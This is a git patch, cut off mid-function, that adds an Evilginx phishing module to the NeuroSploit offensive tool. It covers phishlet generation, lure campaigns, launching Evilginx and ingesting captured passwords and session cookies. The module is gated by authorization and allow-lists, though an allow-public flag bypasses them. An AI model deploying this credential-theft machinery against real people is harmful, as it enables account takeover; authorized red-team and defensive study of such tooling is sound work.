From f0c14141fb9c6dbe36428ecd94984f122047f4f1 Mon Sep 17 00:00:00 2001 From: CyberSecurityUP Date: Mon, 30 Nov 2026 17:01:02 -0300 Subject: [PATCH] feat: add Evilginx phishing module with phishlet generation, web UI and audit gating - harness phish module: policy/allow-lists, phishlet templates, Evilginx lifecycle, campaign/lure records and capture ingestion (0600 + audit.jsonl) - disabled by default; enable requires an authorization reference; target and lure domains must be allow-listed; capture requires explicit opt-in; secrets redacted in API responses - CLI: neurosploit phish status/enable/install/setup/start/stop/phishlet/ campaign/capture/events - web console: Phishing view + /api/phish routes; toolbox + .env entries --- .env.example | 8 + neurosploit-rs/app/src/main.rs | 8 + neurosploit-rs/app/src/phishcli.rs | 417 +++++++ neurosploit-rs/crates/harness/src/lib.rs | 1 + .../crates/harness/src/phish/manager.rs | 1010 +++++++++++++++++ .../crates/harness/src/phish/mod.rs | 88 ++ .../crates/harness/src/phish/store.rs | 137 +++ .../crates/harness/src/phish/templates.rs | 132 +++ .../crates/harness/src/phish/types.rs | 176 +++ neurosploit-rs/tools/toolbox.json | 18 + web/public/app.js | 328 +++++- web/public/index.html | 14 + web/server.js | 137 +++ 13 files changed, 2473 insertions(+), 1 deletion(-) create mode 100644 neurosploit-rs/app/src/phishcli.rs create mode 100644 neurosploit-rs/crates/harness/src/phish/manager.rs create mode 100644 neurosploit-rs/crates/harness/src/phish/mod.rs create mode 100644 neurosploit-rs/crates/harness/src/phish/store.rs create mode 100644 neurosploit-rs/crates/harness/src/phish/templates.rs create mode 100644 neurosploit-rs/crates/harness/src/phish/types.rs diff --git a/.env.example b/.env.example index dcd234e..0f05a1f 100755 --- a/.env.example +++ b/.env.example @@ -151,3 +151,11 @@ TYPESAFE_API_KEY= # Self-improvement review: cheap model used by `neurosploit improve`. #NEUROSPLOIT_IMPROVE_MODEL=deepseek:deepseek-chat + +# ------------------------------------------------------------------ +# Phishing / Evilginx (authorized engagements only). +# The module is disabled by default and requires: +# neurosploit phish enable --authorization "SOW/ticket/URL" +# State, generated phishlets and captures live under .neurosploit/phish/. +#NEUROSPLOIT_PHISH_DIR=.neurosploit/phish +#NEUROSPLOIT_PHISH_OUTPUT_CAP=65536 diff --git a/neurosploit-rs/app/src/main.rs b/neurosploit-rs/app/src/main.rs index dda2469..7a6c124 100644 --- a/neurosploit-rs/app/src/main.rs +++ b/neurosploit-rs/app/src/main.rs @@ -1,6 +1,7 @@ //! NeuroSploit — interactive harness + CLI (`run` / `whitebox` / `agents` / `models`). mod c2cli; +mod phishcli; mod toolscli; mod keycli; mod rectify; @@ -400,6 +401,12 @@ enum Cmd { #[command(subcommand)] cmd: c2cli::WebshellCmd, }, + /// Phishing (Evilginx) for authorized engagements: phishlets, lures and + /// capture — opt-in, domain allow-list, fully audited. + Phish { + #[command(subcommand)] + cmd: phishcli::PhishCmd, + }, /// Run NeuroSploit as an MCP server (stdio) so Claude Code, Codex, Cursor /// and other MCP clients can drive it as a set of tools. Mcp, @@ -1337,6 +1344,7 @@ async fn main() -> anyhow::Result<()> { } Cmd::C2 { cmd } => { c2cli::handle_c2(cmd).await?; } Cmd::Webshell { cmd } => { c2cli::handle_webshell(cmd).await?; } + Cmd::Phish { cmd } => { phishcli::handle_phish(cmd).await?; } Cmd::Mcp => { mcp::serve()?; } Cmd::Rebuild { run } => { // Accept either a path or a bare run id, resolved against the same diff --git a/neurosploit-rs/app/src/phishcli.rs b/neurosploit-rs/app/src/phishcli.rs new file mode 100644 index 0000000..945a2ca --- /dev/null +++ b/neurosploit-rs/app/src/phishcli.rs @@ -0,0 +1,417 @@ +//! `neurosploit phish …` command surface. +//! +//! Thin wrapper over `harness::phish::PhishManager`, which owns the phishlet +//! store, Evilginx lifecycle and capture log. Disabled by default: every +//! mutation fails closed until the operator enables it with an authorization +//! reference. The web console drives these same verbs. + +use clap::Subcommand; +use serde_json::{json, Value}; + +#[derive(Subcommand)] +pub enum PhishCmd { + /// Show policy, Evilginx status, phishlets, campaigns, captures and events. + Status { + #[arg(long)] + json: bool, + }, + /// Enable phishing for this engagement. Requires an authorization reference. + Enable { + /// SOW / ticket / bug-bounty URL authorizing this work. + #[arg(long)] + authorization: String, + /// Authorized target brand domain (repeatable). + #[arg(long = "domain")] + domains: Vec, + /// Operator-owned lure domain (repeatable). + #[arg(long = "phishing-domain")] + phishing_domains: Vec, + /// Allow targets outside the allow-lists (explicit opt-in). + #[arg(long)] + allow_public: bool, + /// Persist captured credentials (explicit opt-in). + #[arg(long)] + allow_capture: bool, + /// Public IP/host Evilginx advertises. + #[arg(long)] + server_ip: Option, + #[arg(long)] + json: bool, + }, + /// Disable phishing and stop Evilginx. + Disable { + #[arg(long)] + json: bool, + }, + /// Update the stored policy without re-enabling. + Policy { + #[arg(long)] + authorized_by: Option, + #[arg(long)] + allow_public: Option, + #[arg(long)] + allow_capture: Option, + #[arg(long = "domain")] + domains: Vec, + #[arg(long = "phishing-domain")] + phishing_domains: Vec, + #[arg(long)] + server_ip: Option, + #[arg(long)] + json: bool, + }, + /// Clone and build Evilginx under the state directory. + Install { + #[arg(long)] + json: bool, + }, + /// Write the Evilginx config for a lure domain. + Setup { + #[arg(long)] + server_ip: String, + #[arg(long)] + domain: String, + #[arg(long = "phishing-domain")] + phishing_domains: Vec, + #[arg(long)] + json: bool, + }, + /// Start Evilginx (detached) with the configured phishlets directory. + Start { + #[arg(long)] + json: bool, + }, + /// Stop the detached Evilginx process. + Stop { + #[arg(long)] + json: bool, + }, + /// Show Evilginx install / run status. + EvilginxStatus { + #[arg(long)] + json: bool, + }, + /// Phishlet management. + Phishlet { + #[command(subcommand)] + cmd: PhishletCmd, + }, + /// Campaign / lure management. + Campaign { + #[command(subcommand)] + cmd: CampaignCmd, + }, + /// Captured credential management. + Capture { + #[command(subcommand)] + cmd: CaptureCmd, + }, + /// Recent audit events from the phishing module. + Events { + #[arg(long, default_value_t = 50)] + limit: usize, + #[arg(long)] + json: bool, + }, +} + +#[derive(Subcommand)] +pub enum PhishletCmd { + /// List phishlets and available templates. + List { + #[arg(long)] + json: bool, + }, + /// Show a phishlet record and its YAML. + Get { + name: String, + #[arg(long)] + json: bool, + }, + /// Generate a phishlet from a template for an authorized target domain. + Create { + #[arg(long)] + name: String, + #[arg(long)] + target_domain: String, + #[arg(long, default_value = "generic")] + template: String, + #[arg(long)] + note: Option, + #[arg(long)] + json: bool, + }, + /// Delete a phishlet file and record. + Delete { + name: String, + #[arg(long)] + json: bool, + }, + /// Mark a phishlet as deployed to the Evilginx phishlets directory. + Deploy { + name: String, + #[arg(long)] + json: bool, + }, +} + +#[derive(Subcommand)] +pub enum CampaignCmd { + /// List campaigns / lures. + List { + #[arg(long)] + json: bool, + }, + /// Create a lure for a phishlet on an operator-owned hostname. + Create { + #[arg(long)] + name: String, + #[arg(long)] + phishlet: String, + #[arg(long)] + hostname: String, + #[arg(long)] + redirect_url: Option, + #[arg(long)] + note: Option, + #[arg(long)] + json: bool, + }, + /// Delete a campaign. + Delete { + id: String, + #[arg(long)] + json: bool, + }, + /// Mark a campaign active. + Start { + id: String, + #[arg(long)] + json: bool, + }, + /// Mark a campaign stopped. + Stop { + id: String, + #[arg(long)] + json: bool, + }, +} + +#[derive(Subcommand)] +pub enum CaptureCmd { + /// List captured credentials (secrets redacted). + List { + #[arg(long, default_value_t = 100)] + limit: usize, + #[arg(long)] + json: bool, + }, + /// Scrape the Evilginx log (or an exported file) for new captures. + Sync { + #[arg(long)] + file: Option, + #[arg(long)] + campaign: Option, + #[arg(long)] + phishlet: Option, + #[arg(long)] + hostname: Option, + #[arg(long)] + json: bool, + }, + /// Record a capture manually. + Add { + #[arg(long)] + username: String, + #[arg(long)] + password: String, + #[arg(long)] + cookies: Option, + #[arg(long)] + campaign: Option, + #[arg(long)] + phishlet: Option, + #[arg(long)] + hostname: Option, + #[arg(long)] + json: bool, + }, +} + +pub async fn handle_phish(cmd: PhishCmd) -> anyhow::Result<()> { + let mgr = harness::phish::PhishManager::open(harness::phish::phish_dir()) + .await + .map_err(|e| anyhow::anyhow!(e))?; + + let out: Value = match cmd { + PhishCmd::Status { .. } => Ok(mgr.status().await), + PhishCmd::Enable { + authorization, + domains, + phishing_domains, + allow_public, + allow_capture, + server_ip, + .. + } => { + mgr.enable( + &authorization, + domains, + phishing_domains, + allow_public, + allow_capture, + server_ip.unwrap_or_default(), + ) + .await + } + PhishCmd::Disable { .. } => Ok(mgr.disable().await), + PhishCmd::Policy { + authorized_by, + allow_public, + allow_capture, + domains, + phishing_domains, + server_ip, + .. + } => { + let mut patch = serde_json::Map::new(); + if let Some(v) = authorized_by { + patch.insert("authorized_by".into(), json!(v)); + } + if let Some(v) = allow_public { + patch.insert("allow_public".into(), json!(v)); + } + if let Some(v) = allow_capture { + patch.insert("allow_capture".into(), json!(v)); + } + if let Some(v) = server_ip { + patch.insert("server_ip".into(), json!(v)); + } + if !domains.is_empty() { + patch.insert("allowed_domains".into(), json!(domains)); + } + if !phishing_domains.is_empty() { + patch.insert("phishing_domains".into(), json!(phishing_domains)); + } + mgr.set_policy(&Value::Object(patch)).await + } + PhishCmd::Install { .. } => mgr.install().await, + PhishCmd::Setup { + server_ip, + domain, + phishing_domains, + .. + } => mgr.setup(&server_ip, &domain, phishing_domains).await, + PhishCmd::Start { .. } => mgr.start().await, + PhishCmd::Stop { .. } => mgr.stop().await, + PhishCmd::EvilginxStatus { .. } => Ok(mgr.evilginx_status().await), + PhishCmd::Phishlet { cmd } => handle_phishlet(&mgr, cmd).await, + PhishCmd::Campaign { cmd } => handle_campaign(&mgr, cmd).await, + PhishCmd::Capture { cmd } => handle_capture(&mgr, cmd).await, + PhishCmd::Events { limit, .. } => Ok(mgr.events(limit).await), + } + .map_err(|e: String| anyhow::anyhow!(e))?; + + println!( + "{}", + serde_json::to_string_pretty(&out).unwrap_or_else(|_| "{}".into()) + ); + Ok(()) +} + +async fn handle_phishlet( + mgr: &std::sync::Arc, + cmd: PhishletCmd, +) -> Result { + match cmd { + PhishletCmd::List { .. } => Ok(mgr.phishlet_list().await), + PhishletCmd::Get { name, .. } => mgr.phishlet_get(&name).await, + PhishletCmd::Create { + name, + target_domain, + template, + note, + .. + } => { + mgr.phishlet_create(&name, &target_domain, &template, ¬e.unwrap_or_default()) + .await + } + PhishletCmd::Delete { name, .. } => mgr.phishlet_delete(&name).await, + PhishletCmd::Deploy { name, .. } => mgr.phishlet_deploy(&name).await, + } +} + +async fn handle_campaign( + mgr: &std::sync::Arc, + cmd: CampaignCmd, +) -> Result { + match cmd { + CampaignCmd::List { .. } => Ok(mgr.campaign_list().await), + CampaignCmd::Create { + name, + phishlet, + hostname, + redirect_url, + note, + .. + } => { + mgr.campaign_create( + &name, + &phishlet, + &hostname, + &redirect_url.unwrap_or_default(), + ¬e.unwrap_or_default(), + ) + .await + } + CampaignCmd::Delete { id, .. } => mgr.campaign_delete(&id).await, + CampaignCmd::Start { id, .. } => mgr.campaign_start(&id).await, + CampaignCmd::Stop { id, .. } => mgr.campaign_stop(&id).await, + } +} + +async fn handle_capture( + mgr: &std::sync::Arc, + cmd: CaptureCmd, +) -> Result { + match cmd { + CaptureCmd::List { limit, .. } => Ok(mgr.capture_list(limit).await), + CaptureCmd::Sync { + file, + campaign, + phishlet, + hostname, + .. + } => { + mgr.capture_sync( + file, + &campaign.unwrap_or_default(), + &phishlet.unwrap_or_default(), + &hostname.unwrap_or_default(), + ) + .await + } + CaptureCmd::Add { + username, + password, + cookies, + campaign, + phishlet, + hostname, + .. + } => { + mgr.capture_import( + &campaign.unwrap_or_default(), + &phishlet.unwrap_or_default(), + &hostname.unwrap_or_default(), + &username, + &password, + &cookies.unwrap_or_default(), + "", + "", + "manual", + ) + .await + } + } +} diff --git a/neurosploit-rs/crates/harness/src/lib.rs b/neurosploit-rs/crates/harness/src/lib.rs index 1ace628..fb39cc8 100644 --- a/neurosploit-rs/crates/harness/src/lib.rs +++ b/neurosploit-rs/crates/harness/src/lib.rs @@ -20,6 +20,7 @@ pub mod cache; pub mod capability; pub mod c2; pub mod chain; +pub mod phish; pub mod claims; pub mod cold_digest; pub mod collection; diff --git a/neurosploit-rs/crates/harness/src/phish/manager.rs b/neurosploit-rs/crates/harness/src/phish/manager.rs new file mode 100644 index 0000000..cf0b578 --- /dev/null +++ b/neurosploit-rs/crates/harness/src/phish/manager.rs @@ -0,0 +1,1010 @@ +use std::path::PathBuf; +use std::sync::Arc; +use std::time::Duration; + +use serde_json::{json, Value}; + +use super::store::{domain_matches_allowlist, write_executable, write_private, PhishStore}; +use super::templates; +use super::types::{push_event, Campaign, Capture, PhishState, Phishlet}; +use super::{clip, new_id, now_ms, CAPTURE_CAP}; + +/// Single implementation of phishlet generation, Evilginx lifecycle and capture +/// ingestion. Disabled by default; every mutation re-checks the stored policy. +pub struct PhishManager { + pub(crate) dir: PathBuf, + pub(crate) store: PhishStore, +} + +impl PhishManager { + pub async fn open(dir: PathBuf) -> std::io::Result> { + let store = PhishStore::open(&dir)?; + Ok(Arc::new(Self { dir, store })) + } + + // -- status / policy ---------------------------------------------------- + + pub async fn status(&self) -> Value { + let s = self.store.snapshot().await; + let evil = self.evilginx_status().await; + let events = clamp_tail(&s.events, 50); + let captures = clamp_tail(&s.captures, 100); + let active = s.campaigns.iter().filter(|c| c.status == "active").count(); + json!({ + "policy": s.policy, + "evilginx": evil, + "phishlets": s.phishlets, + "campaigns": s.campaigns, + "captures": captures.iter().map(|c| c.safe()).collect::>(), + "events": events, + "counts": { + "phishlets": s.phishlets.len(), + "campaigns": s.campaigns.len(), + "campaigns_active": active, + "captures": s.captures.len(), + }, + "templates": templates::templates(), + }) + } + + pub async fn enable( + &self, + authorization: &str, + domains: Vec, + phishing_domains: Vec, + allow_public: bool, + allow_capture: bool, + server_ip: String, + ) -> Result { + if authorization.trim().is_empty() { + return Err( + "phishing requires an authorization reference: neurosploit phish enable --authorization \"SOW/ticket/URL\"" + .into(), + ); + } + let policy = self + .store + .mutate(|s| { + s.policy.enabled = true; + s.policy.authorized_by = authorization.trim().to_string(); + if !domains.is_empty() { + s.policy.allowed_domains = domains; + } + if !phishing_domains.is_empty() { + s.policy.phishing_domains = phishing_domains; + } + s.policy.allow_public = allow_public; + s.policy.allow_capture = allow_capture; + if !server_ip.trim().is_empty() { + s.policy.server_ip = server_ip.trim().to_string(); + } + push_event( + s, + "info", + "policy.enable", + format!("phishing enabled by {}", authorization.trim()), + json!({ "allow_capture": allow_capture, "allow_public": allow_public }), + ); + s.policy.clone() + }) + .await; + self.store + .audit("policy.enable", json!({"authorized_by": authorization})); + Ok(json!({ "ok": true, "policy": policy })) + } + + pub async fn disable(&self) -> Value { + let _ = self.stop_process().await; + let policy = self + .store + .mutate(|s| { + s.policy.enabled = false; + for c in &mut s.campaigns { + if c.status == "active" { + c.status = "stopped".into(); + } + } + push_event(s, "info", "policy.disable", "phishing disabled", json!({})); + s.policy.clone() + }) + .await; + self.store.audit("policy.disable", json!({})); + json!({ "ok": true, "policy": policy }) + } + + pub async fn set_policy(&self, patch: &Value) -> Result { + let s = self.store.snapshot().await; + ensure_enabled(&s)?; + let policy = self + .store + .mutate(|s| { + if let Some(v) = patch.get("authorized_by").and_then(|v| v.as_str()) { + if !v.trim().is_empty() { + s.policy.authorized_by = v.trim().to_string(); + } + } + if let Some(v) = patch.get("allow_public").and_then(|v| v.as_bool()) { + s.policy.allow_public = v; + } + if let Some(v) = patch.get("allow_capture").and_then(|v| v.as_bool()) { + s.policy.allow_capture = v; + } + if let Some(v) = patch.get("server_ip").and_then(|v| v.as_str()) { + s.policy.server_ip = v.trim().to_string(); + } + if let Some(arr) = patch.get("allowed_domains").and_then(|v| v.as_array()) { + s.policy.allowed_domains = arr + .iter() + .filter_map(|x| x.as_str()) + .map(|x| x.trim().to_string()) + .filter(|x| !x.is_empty()) + .collect(); + } + if let Some(arr) = patch.get("phishing_domains").and_then(|v| v.as_array()) { + s.policy.phishing_domains = arr + .iter() + .filter_map(|x| x.as_str()) + .map(|x| x.trim().to_string()) + .filter(|x| !x.is_empty()) + .collect(); + } + push_event(s, "info", "policy.update", "policy updated", json!({})); + s.policy.clone() + }) + .await; + self.store.audit("policy.update", json!({})); + Ok(json!({ "ok": true, "policy": policy })) + } + + // -- Evilginx lifecycle ------------------------------------------------- + + pub async fn evilginx_status(&self) -> Value { + let (bin, source) = self.find_binary(); + let installed = bin.is_some(); + let pid_path = self.dir.join("evilginx.pid"); + let pid = read_pid(&pid_path); + let running = pid.map(process_alive).unwrap_or(false); + let config = self.dir.join("evilginx").join("config.yaml"); + json!({ + "installed": installed, + "binary": bin.map(|p| p.display().to_string()), + "source": source, + "running": running, + "pid": if running { json!(pid) } else { Value::Null }, + "config_path": config.display().to_string(), + "config_exists": config.is_file(), + "phishlets_dir": self.dir.join("phishlets").display().to_string(), + "lures_dir": self.dir.join("lures").display().to_string(), + "log_path": self.dir.join("logs").join("evilginx.log").display().to_string(), + }) + } + + pub async fn install(&self) -> Result { + let s = self.store.snapshot().await; + ensure_enabled(&s)?; + let dest = self.dir.join("evilginx"); + let bin = dest.join("evilginx"); + if bin.is_file() { + return Ok(json!({ "ok": true, "installed": true, "binary": bin.display().to_string(), "message": "already installed" })); + } + if which("git").is_none() { + return Err("git is required to install Evilginx".into()); + } + if which("go").is_none() { + return Err("Go is required to build Evilginx (https://go.dev/dl/)".into()); + } + if !dest.exists() { + let (code, out) = run_sh( + &format!( + "git clone --depth 1 https://github.com/kgretzky/evilginx2.git {}", + shq(&dest.display().to_string()) + ), + 300, + ) + .await?; + if code != 0 { + return Err(format!("git clone failed (exit {code}): {}", clip(out))); + } + } + let (code, out) = run_sh( + &format!("cd {} && make", shq(&dest.display().to_string())), + 900, + ) + .await?; + let installed = bin.is_file(); + self.store + .mutate(|st| { + push_event( + st, + if installed { "info" } else { "error" }, + "evilginx.install", + format!("evilginx build exit {code}"), + json!({ "installed": installed }), + ); + }) + .await; + self.store.audit("evilginx.install", json!({ "exit": code })); + if !installed { + return Err(format!( + "Evilginx build did not produce {} (exit {code}): {}", + bin.display(), + clip(out) + )); + } + Ok(json!({ "ok": true, "installed": true, "binary": bin.display().to_string(), "output": clip(out) })) + } + + pub async fn setup( + &self, + server_ip: &str, + domain: &str, + phishing_domains: Vec, + ) -> Result { + let s = self.store.snapshot().await; + ensure_enabled(&s)?; + let domain = host_only(domain); + if domain.is_empty() { + return Err("a lure domain is required (e.g. phish.example.com)".into()); + } + if !s.policy.allow_public && !domain_matches_allowlist(&domain, &s.policy.phishing_domains) { + return Err(format!( + "lure domain '{domain}' is not in the authorized phishing-domains list — add it with `neurosploit phish enable --phishing-domain {domain}` (or `--allow-public`)" + )); + } + let ip = if server_ip.trim().is_empty() { + s.policy.server_ip.trim().to_string() + } else { + server_ip.trim().to_string() + }; + if ip.is_empty() { + return Err("server_ip is required for the Evilginx config (public IP or host)".into()); + } + let edir = self.dir.join("evilginx"); + std::fs::create_dir_all(&edir).map_err(|e| e.to_string())?; + let phishlets_dir = self.dir.join("phishlets"); + let lures_dir = self.dir.join("lures"); + std::fs::create_dir_all(&phishlets_dir).map_err(|e| e.to_string())?; + std::fs::create_dir_all(&lures_dir).map_err(|e| e.to_string())?; + let cfg = format!( + "domain: {}\nipv4: {}\nphishlets_dir: {}\nlures_dir: {}\nunauth_url: 'https://{}'\nblacklist: false\ndeveloper: false\n", + yaml_str(&domain), + yaml_str(&ip), + yaml_str(&phishlets_dir.display().to_string()), + yaml_str(&lures_dir.display().to_string()), + domain, + ); + let config_path = edir.join("config.yaml"); + write_private(&config_path, cfg.as_bytes()).map_err(|e| e.to_string())?; + self.store + .mutate(|st| { + st.policy.server_ip = ip.clone(); + for d in &phishing_domains { + let d = d.trim().to_string(); + if !d.is_empty() && !st.policy.phishing_domains.contains(&d) { + st.policy.phishing_domains.push(d); + } + } + push_event( + st, + "info", + "evilginx.setup", + format!("evilginx configured for {domain} @ {ip}"), + json!({ "domain": domain, "server_ip": ip }), + ); + }) + .await; + self.store + .audit("evilginx.setup", json!({ "domain": domain, "server_ip": ip })); + Ok(json!({ + "ok": true, + "config_path": config_path.display().to_string(), + "server_ip": ip, + "domain": domain, + })) + } + + pub async fn start(&self) -> Result { + let s = self.store.snapshot().await; + ensure_enabled(&s)?; + if !cfg!(unix) { + return Err( + "Evilginx auto-start is supported on Linux/macOS; start Evilginx manually on this platform" + .into(), + ); + } + let (bin, _src) = self.find_binary(); + let bin = bin + .ok_or_else(|| "Evilginx is not installed — run `neurosploit phish install`".to_string())?; + let pid_path = self.dir.join("evilginx.pid"); + if let Some(pid) = read_pid(&pid_path) { + if process_alive(pid) { + return Ok(json!({ "ok": true, "running": true, "pid": pid })); + } + } + let log = self.dir.join("logs").join("evilginx.log"); + if let Some(parent) = log.parent() { + std::fs::create_dir_all(parent).map_err(|e| e.to_string())?; + } + let launcher = self.dir.join("run-evilginx.sh"); + let edir = self.dir.join("evilginx"); + let phishlets = self.dir.join("phishlets"); + // Keep stdin open with `tail -f /dev/null` so Evilginx does not exit on + // EOF, and redirect its console to a log we can scrape for captures. + let script = format!( + "#!/bin/sh\ncd {}\ntail -f /dev/null | {} -p {} >> {} 2>&1\n", + shq(&edir.display().to_string()), + shq(&bin.display().to_string()), + shq(&phishlets.display().to_string()), + shq(&log.display().to_string()), + ); + write_executable(&launcher, script.as_bytes()).map_err(|e| e.to_string())?; + let (code, out) = run_sh( + &format!( + "setsid sh {} /dev/null 2>&1 & echo $!", + shq(&launcher.display().to_string()) + ), + 15, + ) + .await?; + if code != 0 { + return Err(format!("could not launch Evilginx (exit {code}): {}", clip(out))); + } + let pid: i32 = out + .trim() + .parse() + .map_err(|_| format!("could not determine Evilginx pid: {}", clip(out)))?; + write_private(&pid_path, pid.to_string().as_bytes()).map_err(|e| e.to_string())?; + self.store + .mutate(|st| { + push_event(st, "info", "evilginx.start", format!("evilginx started pid {pid}"), json!({ "pid": pid })); + }) + .await; + self.store.audit("evilginx.start", json!({ "pid": pid })); + Ok(json!({ + "ok": true, + "running": true, + "pid": pid, + "log": log.display().to_string(), + })) + } + + pub async fn stop(&self) -> Result { + let v = self.stop_process().await?; + self.store + .mutate(|st| { + for c in &mut st.campaigns { + if c.status == "active" { + c.status = "stopped".into(); + } + } + push_event(st, "info", "evilginx.stop", "evilginx stopped", json!({})); + }) + .await; + self.store.audit("evilginx.stop", json!({})); + Ok(v) + } + + async fn stop_process(&self) -> Result { + let pid_path = self.dir.join("evilginx.pid"); + let Some(pid) = read_pid(&pid_path) else { + return Ok(json!({ "ok": true, "running": false })); + }; + if !cfg!(unix) { + let _ = std::fs::remove_file(&pid_path); + return Ok(json!({ "ok": true, "running": false, "pid": pid })); + } + let _ = run_sh( + &format!( + "kill -TERM -{pid} 2>/dev/null || kill -TERM {pid} 2>/dev/null" + ), + 10, + ) + .await; + tokio::time::sleep(Duration::from_millis(400)).await; + if process_alive(pid) { + let _ = run_sh( + &format!( + "kill -KILL -{pid} 2>/dev/null || kill -KILL {pid} 2>/dev/null" + ), + 10, + ) + .await; + } + let _ = std::fs::remove_file(&pid_path); + Ok(json!({ "ok": true, "running": false, "pid": pid })) + } + + // -- phishlets ---------------------------------------------------------- + + pub async fn phishlet_create( + &self, + name: &str, + target_domain: &str, + template: &str, + note: &str, + ) -> Result { + let s = self.store.snapshot().await; + ensure_enabled(&s)?; + let name = sanitize_name(name); + if name.is_empty() { + return Err("a phishlet name is required".into()); + } + let host = host_only(target_domain); + if host.is_empty() { + return Err("a target domain is required (e.g. login.example.com)".into()); + } + if !s.policy.allow_public && !domain_matches_allowlist(&host, &s.policy.allowed_domains) { + return Err(format!( + "target domain '{host}' is not in the authorized domains list — add it with `neurosploit phish enable --domain {host}` (or `--allow-public`)" + )); + } + let template = if template.trim().is_empty() { + "generic" + } else { + template.trim() + }; + let yaml = templates::render(&name, &host, template); + let path = self.dir.join("phishlets").join(format!("{name}.yaml")); + write_private(&path, yaml.as_bytes()).map_err(|e| e.to_string())?; + let rec = Phishlet { + id: new_id("pl"), + name: name.clone(), + target_domain: host.clone(), + template: template.to_string(), + path: path.display().to_string(), + deployed: true, + created_at: now_ms(), + note: note.to_string(), + }; + let rec_out = rec.clone(); + self.store + .mutate(|st| { + st.phishlets.retain(|p| p.name != name); + st.phishlets.push(rec); + push_event( + st, + "info", + "phishlet.create", + format!("phishlet {name} for {host}"), + json!({ "template": template }), + ); + }) + .await; + self.store.audit( + "phishlet.create", + json!({ "name": name, "target_domain": host, "template": template }), + ); + Ok(json!({ "ok": true, "phishlet": rec_out, "yaml": yaml })) + } + + pub async fn phishlet_list(&self) -> Value { + let s = self.store.snapshot().await; + json!({ "phishlets": s.phishlets, "templates": templates::templates() }) + } + + pub async fn phishlet_get(&self, name: &str) -> Result { + let name = sanitize_name(name); + let s = self.store.snapshot().await; + let rec = s + .phishlets + .iter() + .find(|p| p.name == name) + .cloned() + .ok_or_else(|| format!("no such phishlet: {name}"))?; + let yaml = std::fs::read_to_string(&rec.path).unwrap_or_default(); + Ok(json!({ "ok": true, "phishlet": rec, "yaml": yaml })) + } + + pub async fn phishlet_delete(&self, name: &str) -> Result { + let s = self.store.snapshot().await; + ensure_enabled(&s)?; + let name = sanitize_name(name); + let path = self.dir.join("phishlets").join(format!("{name}.yaml")); + let _ = std::fs::remove_file(&path); + self.store + .mutate(|st| { + st.phishlets.retain(|p| p.name != name); + push_event(st, "info", "phishlet.delete", format!("phishlet {name} deleted"), json!({})); + }) + .await; + self.store.audit("phishlet.delete", json!({ "name": name })); + Ok(json!({ "ok": true, "deleted": name })) + } + + pub async fn phishlet_deploy(&self, name: &str) -> Result { + let s = self.store.snapshot().await; + ensure_enabled(&s)?; + let name = sanitize_name(name); + let rec = s + .phishlets + .iter() + .find(|p| p.name == name) + .cloned() + .ok_or_else(|| format!("no such phishlet: {name}"))?; + if !PathBuf::from(&rec.path).is_file() { + return Err(format!("phishlet file is missing: {}", rec.path)); + } + self.store + .mutate(|st| { + if let Some(p) = st.phishlets.iter_mut().find(|p| p.name == name) { + p.deployed = true; + } + push_event(st, "info", "phishlet.deploy", format!("phishlet {name} deployed"), json!({})); + }) + .await; + self.store.audit("phishlet.deploy", json!({ "name": name })); + Ok(json!({ "ok": true, "deployed": name, "phishlets_dir": self.dir.join("phishlets").display().to_string() })) + } + + // -- campaigns / lures -------------------------------------------------- + + pub async fn campaign_create( + &self, + name: &str, + phishlet: &str, + hostname: &str, + redirect_url: &str, + note: &str, + ) -> Result { + let s = self.store.snapshot().await; + ensure_enabled(&s)?; + let name = sanitize_name(name); + let phishlet = sanitize_name(phishlet); + if name.is_empty() || phishlet.is_empty() { + return Err("campaign name and phishlet are required".into()); + } + if !s.phishlets.iter().any(|p| p.name == phishlet) { + return Err(format!("no such phishlet: {phishlet}")); + } + let host = host_only(hostname); + if host.is_empty() { + return Err("a lure hostname is required (an operator-owned domain)".into()); + } + if !s.policy.allow_public && !domain_matches_allowlist(&host, &s.policy.phishing_domains) { + return Err(format!( + "lure hostname '{host}' is not in the authorized phishing-domains list — add it with `neurosploit phish enable --phishing-domain {host}` (or `--allow-public`)" + )); + } + if s.campaigns.len() >= s.policy.max_campaigns { + return Err(format!("campaign limit reached ({})", s.policy.max_campaigns)); + } + let rec = Campaign { + id: new_id("cp"), + name: name.clone(), + phishlet: phishlet.clone(), + hostname: host.clone(), + redirect_url: redirect_url.trim().to_string(), + lure_url: format!("https://{host}/"), + status: "draft".into(), + created_at: now_ms(), + note: note.to_string(), + }; + let out = rec.clone(); + self.store + .mutate(|st| { + st.campaigns.push(rec); + push_event(st, "info", "campaign.create", format!("campaign {name} ({phishlet}) on {host}"), json!({})); + }) + .await; + self.store.audit( + "campaign.create", + json!({ "name": name, "phishlet": phishlet, "hostname": host }), + ); + Ok(json!({ "ok": true, "campaign": out })) + } + + pub async fn campaign_list(&self) -> Value { + let s = self.store.snapshot().await; + json!({ "campaigns": s.campaigns }) + } + + pub async fn campaign_delete(&self, id: &str) -> Result { + let s = self.store.snapshot().await; + ensure_enabled(&s)?; + let id = id.trim().to_string(); + self.store + .mutate(|st| { + st.campaigns.retain(|c| c.id != id); + push_event(st, "info", "campaign.delete", format!("campaign {id} deleted"), json!({})); + }) + .await; + self.store.audit("campaign.delete", json!({ "id": id })); + Ok(json!({ "ok": true, "deleted": id })) + } + + pub async fn campaign_set_status(&self, id: &str, status: &str) -> Result { + let s = self.store.snapshot().await; + ensure_enabled(&s)?; + let id = id.trim().to_string(); + let out = self + .store + .mutate(|st| { + for c in &mut st.campaigns { + if c.id == id { + c.status = status.to_string(); + let c2 = c.clone(); + push_event( + st, + "info", + "campaign.status", + format!("campaign {} -> {}", id, status), + json!({ "hostname": c2.hostname, "phishlet": c2.phishlet }), + ); + return Some(c2); + } + } + None + }) + .await; + match out { + Some(c) => { + self.store.audit("campaign.status", json!({ "id": id, "status": status })); + Ok(json!({ "ok": true, "campaign": c })) + } + None => Err(format!("no such campaign: {id}")), + } + } + + pub async fn campaign_start(&self, id: &str) -> Result { + self.campaign_set_status(id, "active").await + } + + pub async fn campaign_stop(&self, id: &str) -> Result { + self.campaign_set_status(id, "stopped").await + } + + // -- captures ----------------------------------------------------------- + + pub async fn capture_list(&self, limit: usize) -> Value { + let s = self.store.snapshot().await; + let n = limit.clamp(1, CAPTURE_CAP); + let start = s.captures.len().saturating_sub(n); + json!({ + "captures": s.captures[start..].iter().map(|c| c.safe()).collect::>(), + "total": s.captures.len(), + }) + } + + pub async fn capture_import( + &self, + campaign: &str, + phishlet: &str, + hostname: &str, + username: &str, + password: &str, + cookies: &str, + client_ip: &str, + user_agent: &str, + source: &str, + ) -> Result { + let s = self.store.snapshot().await; + if !s.policy.enabled { + 